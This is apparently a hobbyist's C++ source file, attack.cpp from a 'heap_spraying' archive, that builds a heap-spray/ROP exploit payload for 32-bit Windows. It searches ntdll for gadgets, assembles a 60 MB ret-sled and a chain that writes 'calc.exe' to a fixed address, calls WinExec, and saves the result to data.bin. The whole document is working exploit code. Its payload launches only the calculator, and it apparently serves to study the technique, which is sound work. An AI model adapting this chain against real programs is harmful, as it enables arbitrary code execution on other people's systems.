他人の空似自作物置場

heap_spraying.zip/attack.cpp


#include <iostream>
#include <fstream>
#include <functional>

#include <Windows.h>

#include <boost/range/irange.hpp>

#pragma comment(lib, "OneCore_downlevel.lib")

std::pair<unsigned int, unsigned int> getTextArea(HMODULE module) {
   const unsigned char* const baseAddr = reinterpret_cast<unsigned char*>(module == NULL ? ::GetModuleHandleW(NULL) : module);
   const IMAGE_DOS_HEADER &mz = *reinterpret_cast<const IMAGE_DOS_HEADER*>(baseAddr);
   const IMAGE_NT_HEADERS32 &pe = *reinterpret_cast<const IMAGE_NT_HEADERS32*>(baseAddr + mz.e_lfanew);
   const IMAGE_SECTION_HEADER * const sectionHeaders = reinterpret_cast<const IMAGE_SECTION_HEADER *>(pe.FileHeader.SizeOfOptionalHeader + reinterpret_cast<unsigned int>(&pe.OptionalHeader));
   for (const unsigned int i : boost::irange(0U, static_cast<unsigned int>(pe.FileHeader.NumberOfSections))) {
      const IMAGE_SECTION_HEADER &section = sectionHeaders[i];
      if (reinterpret_cast<const char *>(section.Name) == std::string(".text")) {
         return std::make_pair(
            reinterpret_cast<unsigned int>(baseAddr + section.VirtualAddress),
            reinterpret_cast<unsigned int>(baseAddr + section.VirtualAddress + section.SizeOfRawData));
      }
   }
   return {};
}

unsigned int searchGadget(const unsigned int size, std::function<bool(const unsigned char *)> func) {
   const std::pair<unsigned int, unsigned int> area = getTextArea(::GetModuleHandle("ntdll.dll"));
   for (const unsigned int addr : boost::irange(area.first, area.second - (size - 1))) {
      if (func(reinterpret_cast<const unsigned char *>(addr))) {
         return addr;
      }
   }
   return 0;
}

std::vector<unsigned char> build(const unsigned int padding, const unsigned int bufferAddress) {
   std::vector<unsigned int> rop;
   const unsigned int ret = searchGadget(3, [](auto mem){return mem[0] == 0xC3;});
   const unsigned int movEaxEcx = searchGadget(3, [](auto mem){return mem[0] == 0x8B && mem[1] == 0xC1 && mem[2] == 0xC3;});
   const unsigned int popEcx = searchGadget(2, [](auto mem){return mem[0] == 0x59 && mem[1] == 0xC3;});
   const unsigned int movDwordPtrDsEaxEcx = searchGadget(3, [](auto mem){return mem[0] == 0x89 && mem[1] == 0x08 && mem[2] == 0xC3;});
   for (unsigned int i = 0; i < 60 * 1024 * 1024 / sizeof(unsigned int); i++) {
      rop.push_back(ret);
   }
   rop.push_back(popEcx);
   rop.push_back(bufferAddress);
   rop.push_back(movEaxEcx);
   rop.push_back(popEcx);
   rop.push_back(0x636C6163); // "calc"
   rop.push_back(movDwordPtrDsEaxEcx);
   rop.push_back(popEcx);
   rop.push_back(bufferAddress + 4);
   rop.push_back(movEaxEcx);
   rop.push_back(popEcx);
   rop.push_back(0x6578652E); // ".exe"
   rop.push_back(movDwordPtrDsEaxEcx);
   rop.push_back(popEcx);
   rop.push_back(bufferAddress + 8);
   rop.push_back(movEaxEcx);
   rop.push_back(popEcx);
   rop.push_back(0x00000000); // "\0"
   rop.push_back(movDwordPtrDsEaxEcx);
   rop.push_back(reinterpret_cast<unsigned int>(WinExec));
   rop.push_back(ret);
   rop.push_back(bufferAddress);
   rop.push_back(SW_SHOW);
   rop.push_back(reinterpret_cast<unsigned int>(ExitProcess));
   rop.push_back(ret);
   rop.push_back(255);
   std::vector<unsigned char> result;
   result.resize(padding);
   const unsigned char * const begin = reinterpret_cast<const unsigned char *>(&rop[0]);
   const unsigned char * const end = begin + rop.size() * 4;
   result.insert(result.end(), begin, end);
   return result;
}

void buildAndSave(const unsigned int padding, const unsigned int bufferAddress) {
   std::vector<unsigned char> rop = build(padding, bufferAddress);
   std::ofstream ofs("data.bin", std::ios::binary);
   const unsigned int size = rop.size();
   ofs.write(reinterpret_cast<const char *>(&size), sizeof(size));
   ofs.write(reinterpret_cast<const char *>(&rop[0]), size);
   ofs.close();
}

int main() {
   buildAndSave(0, 0x03EE0000);
   return 0;
}